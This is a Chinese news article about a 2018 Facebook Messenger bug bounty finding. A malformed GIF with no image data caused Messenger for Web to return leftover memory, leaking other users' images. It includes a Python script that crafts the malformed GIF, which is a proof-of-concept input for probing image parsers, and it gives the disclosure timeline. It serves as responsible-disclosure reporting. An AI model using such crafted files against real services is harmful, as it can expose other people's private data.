查看原文
其他

看我如何发现针对 Facebook Messenger 的 GIF 攻击并赢得1万美元

综合编译 代码卫士 2022-04-06

 聚焦源代码安全,网罗国内外最新资讯!

编译:代码卫士团队

20182月,我正在测试安卓版本的 Facebook Messenger,想要知道它是如何处理受损的 GIF 图像的。受到 Imagemagick gif 编码器中未清洁内存披露”bug gifoeb PoC 的启发,我发现Messenger app 只有在处理由gifoeb工具生成的图像的情况下,才会发生空解指针引用问题(安卓版本的Facebook Messenger 中的 DoS 漏洞并未被涵盖在漏洞奖励计划内)。

之后,我就在想:什么是 GIF 图像格式以及它是什么样的?我如何能生成自己的图像?(剧透:Facebook Messenger for Web 中价值1万美元的漏洞,不过我们先来看看理论)。

基本的 GIF 图像

我找到对 GIF 图像格式的清楚表述,主要的头部应该如下:

Offset Length Contents 0 3 bytes "GIF" 3 3 bytes "87a" or "89a" 6 2 bytes <Logical Screen Width> 8 2 bytes <Logical Screen Height> 10 1 byte bit 0: Global Color Table Flag (GCTF) bit 1..3: Color Resolution bit 4: Sort Flag to Global Color Table bit 5..7: Size of Global Color Table: 2^(1+n) 11 1 byte <Background Color Index> 12 1 byte <Pixel Aspect Ratio> 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one> ? bytes <Blocks> 1 bytes <Trailer> (0x3b)


(完整的表述在此:http://www.onicos.com/staff/iz/formats/gif.html#header

我决定以最小要求的字段创建基本的 GIF 文件。

创建自己的GIF

要创建自己的 GIF,我选择 Python 生成二进制文件。

 

import struct
screenWidth = 640screenHeight = 480
f = open('test.gif', 'wb')
# Offset Length Contents# 0 3 bytes "GIF"# 3 3 bytes "87a" or "89a"f.write(b"GIF89a")
# 6 2 bytes <Logical Screen Width>f.write(struct.pack('<h', screenWidth))
# 8 2 bytes <Logical Screen Height>f.write(struct.pack('<h', screenHeight))
# 10 1 byte bit 0: Global Color Table Flag (GCTF)# bit 1..3: Color Resolution# bit 4: Sort Flag to Global Color Table# bit 5..7: Size of Global Color Table: 2^(1+n)bits = int('00000010', 2)f.write(struct.pack('<b', bits))
# 11 1 byte <Background Color Index>f.write(struct.pack('<b', 0))
# 12 1 byte <Pixel Aspect Ratio>f.write(struct.pack('<b', 1))
# 13 ? bytes <Global Color Table(0..255 x 3 bytes) if GCTF is one>
# ? bytes <Blocks>

# Offset Length Contents# 0 1 byte Image Separator (0x2c)f.write(struct.pack('<b', 0x2c))
# 1 2 bytes Image Left Positionf.write(struct.pack('<h', 0))
# 3 2 bytes Image Top Positionf.write(struct.pack('<h', 0))
# 5 2 bytes Image Widthf.write(struct.pack('<h', screenWidth))
# 7 2 bytes Image Heightf.write(struct.pack('<h', screenHeight))
# 8 1 byte bit 0: Local Color Table Flag (LCTF)# bit 1: Interlace Flag# bit 2: Sort Flag# bit 2..3: Reserved# bit 4..7: Size of Local Color Table: 2^(1+n)# ? bytes Local Color Table(0..255 x 3 bytes) if LCTF is onef.write(struct.pack('<b', int('00000100', 2)))
# 1 byte LZW Minimum Code Size#f.write(struct.pack('<b', 1))
# [ // Blocks# 1 byte Block Size (s)#f.write(struct.pack('<b', 1))
# (s)bytes Image Data# ]*# 1 byte Block Terminator(0x00)#f.write(struct.pack('<b', 0))

# 1 bytes <Trailer> (0x3b)


f.write(struct.pack('<b', 0x3b))
f.close()

这个脚本生成的图像正是我们所需的。我留下了注释来找到我们在图像中忽视的头部是什么。如上可见创建的这个 GIF 并不具备图像数据块,在颜色表尾部之后,它是空的。

Facebook Messenger

通过生成的 GIF 图像(具有不同的大小、头部字段)开始测试安卓版的 Facebook Messenger,结果什么都没有发生,知道我在笔记本上打开了 Messenger 网页,然后看到了下面非常小非常怪异的图像:

但是,我们的 GIF 图像上并没有任何内容,但 Facebook 为什么给出这个图像?修改 GIF 图像的大小后,看到了这个白噪音图像,看起来也很怪异。

之后,我将同样的二进制再次上传之后,看到如下图像。

图像发生了一点变化,但我明明上传的是同一张 GIF 图像。

播放 GIF 屏/图像大小之后:

这倒提醒我,当尝试从文件中读取图像并使用宽度而非高度的时候。最终我获得了如下结果:

 

我意识到我将会获得该 GIF 图像的一些此前的缓冲,因为我的图像并不具备内容主体。(视频地址:https://youtu.be/-YyWTzSlsxM)

作者Dzmitry Lukyanenka并未证实该漏洞可被用于获取敏感信息,但 Reddit 论坛用户认为,可能会带来严重的安全后果,“他恢复了多数人的图像。想象下,如果这张图像是你私发给家人的孩子的图像的话就知道了。它是一个非常严重的漏洞,即使它仅可被用于提取最近上传的图像。”有人在博客评论下方提到,如果能够读取包含秘密的任意内存,那么它将是一个恶意漏洞。

2017年,Facebook 曾因由 ImageMagick触发的一个远程代码执行漏洞颁发出4万美元的奖励。

时间轴

2018-02-26:将问题告知 Facebook 团队

2018-03-01:严重程度分类

2018-03-09:漏洞修复

2018-03-21:获得1万美元的奖励



推荐阅读

Facebook 提高对账户接管漏洞的奖励

从Facebook回应研究人员看漏洞奖励现状



原文链接

https://www.vulnano.com/2019/03/facebook-messenger-server-random-memory.html


https://www.securityweek.com/gif-attack-facebook-messenger-earned-hacker-10000


本文由代码卫士编译,不代表其观点,转载请注明“转自代码卫士 www.codesafe.cn”。


您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存